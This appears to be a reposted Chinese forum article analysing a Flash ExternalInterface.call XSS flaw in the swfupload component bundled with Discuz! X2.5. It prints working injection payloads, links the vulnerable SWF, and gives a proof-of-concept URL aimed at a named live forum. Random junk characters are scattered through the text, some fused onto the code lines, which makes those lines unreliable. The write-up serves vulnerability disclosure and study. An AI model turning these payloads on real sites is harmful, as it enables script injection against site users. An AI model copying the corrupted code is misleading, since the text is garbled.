上回我们说
! V0 x$ v2 b7 l8 ~) x) \( h; N% C- T) f8 O% M0 ?6 B! ]+ f2 |7 z+ t m
flash.external.ExternalInterface.call($methodName, $parameter): s1 F4 | N, `1 z1 ^
在浏览器中执行的是
1 u! t& j7 [& `! u/ _! P# I
2 ?4 r6 q7 @: dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
@' E, J( L, i, I- g对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
8 y# ^$ {; s9 ] ]+ d: H* e6 F+ d: |8 s. J! d% Q4 Y
flash.external.ExternalInterface.call("object."+$methodName, $parameter)# B3 @2 r6 o$ T4 F0 h
$methodName = a())}catch(e){alert(/xss/)}//: s9 p* n. k) }+ b' }7 H
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。! K0 s. j7 a* b$ P' ?+ L# I' S. s3 c
& i- R9 \ M) z) S! ]$ `try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }' w/ @7 X1 D- d8 k
. a( ? h7 r& B; f4 q' o
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )# Y8 Y% `* _) N% } Y2 ?8 `6 X
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
+ O( c& O0 k/ `
& U; z ^4 n6 g' _, [# r0 `
( S; C7 F+ q5 T) N- p5 ?- L/ P: ^6 u" D* F1 o
漏洞文件:upload\static\image\common\swfupload.swf) l8 n. N z @3 v9 x$ `
: G/ P. p5 ^+ e( M原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
, o2 A1 i g h$ W# u' o8 o3 d( b% H1 B" s
4 T% F# ?9 q$ x6 I
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//% _% w9 d2 k' Y! v: [ x
% j, O9 ^. Y$ _8 j( u4 {; ^& I+ E
5 _6 {! r/ O+ m |